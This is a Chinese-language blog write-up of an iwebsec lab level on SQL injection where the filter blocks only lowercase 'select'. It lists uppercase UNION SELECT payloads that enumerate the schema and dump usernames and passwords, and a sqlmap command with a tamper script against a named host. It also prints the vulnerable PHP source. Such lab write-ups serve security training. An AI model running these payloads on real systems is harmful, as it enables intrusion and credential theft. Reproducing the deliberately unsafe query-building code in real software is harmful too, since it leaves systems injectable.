01、题目分析
大小写过滤顾名思义,会对正常小写的sql语句进行过滤,这个时候只需要大写sql注入语句即可
02、手工注入
?id=-1 UNION SELECT 1,2,3
?id=-1 UNION SELECT 1,2,DATABASE()
?id=-1 UNION SELECT 1,2,GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='iwebsec'
?id=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='sqli'
?id=-1 UNION SELECT 1,2,GROUP_CONCAT(CONCAT_WS('~',USERNAME,PASSWORD)) FROM iwebsec.sqli
02、工具注入
python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/07.php?id=1" --current-db --dump --batch --tamper "space2comment.py"
03、代码分析
<?php
if(isset($_GET['id'])){ // 检查是否存在名为'id'的GET参数
if (preg_match('/select/', $_GET["id"])) { // 使用正则表达式检查'id'参数中是否包含"select"关键字
die("ERROR"); // 如果包含"select"关键字,则输出"ERROR"并终止脚本
}else{
$id=$_GET['id']; // 将'id'参数的值赋给变量$id
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1"; // 构建SQL查询语句,根据$id查询'user'表中的数据,限制返回一条记录
$result=mysql_query($sql); // 执行SQL查询
}
}else{
exit(); // 如果不存在'id'参数,则立即终止脚本的执行
}
if ($result) { // 如果查询成功
?>
<table class='table table-striped'> <!-- 输出一个表格元素的开始标签,使用Bootstrap的样式类 -->
<tr><th>id</th><th>name</th><th>age</th></tr> <!-- 表格的表头 -->
<?php
while ($row = mysql_fetch_assoc($result)) { // 循环使用mysql_fetch_assoc()函数从结果集中获取一行数据,存储在关联数组$row中
echo "<tr>"; // 输出表格行的开始标签
echo "<td>".$row['id']."</td>"; // 输出id列的数据
echo "<td>".$row['username']."</td>"; // 输出username列的数据
echo "<td>".$row['password']."</td>"; // 输出password列的数据
echo "</tr>"; // 输出表格行的结束标签
}
echo "</table>"; // 输出表格元素的结束标签
}
else
{
// echo '<font color= "#FFFFFF">'; // 输出一个带有颜色的字体标签,颜色为白色
print_r(mysql_error()); // 输出MySQL数据库的错误信息
// echo "</font>"; // 输出字体标签的结束标签
}
require_once '../footer.php'; // 引入'footer.php'文件
?>
标签:输出,UNION,标签,08,echo,sql,id,SELECT,注入
From: https://www.cnblogs.com/bdrwmy/p/17641440.html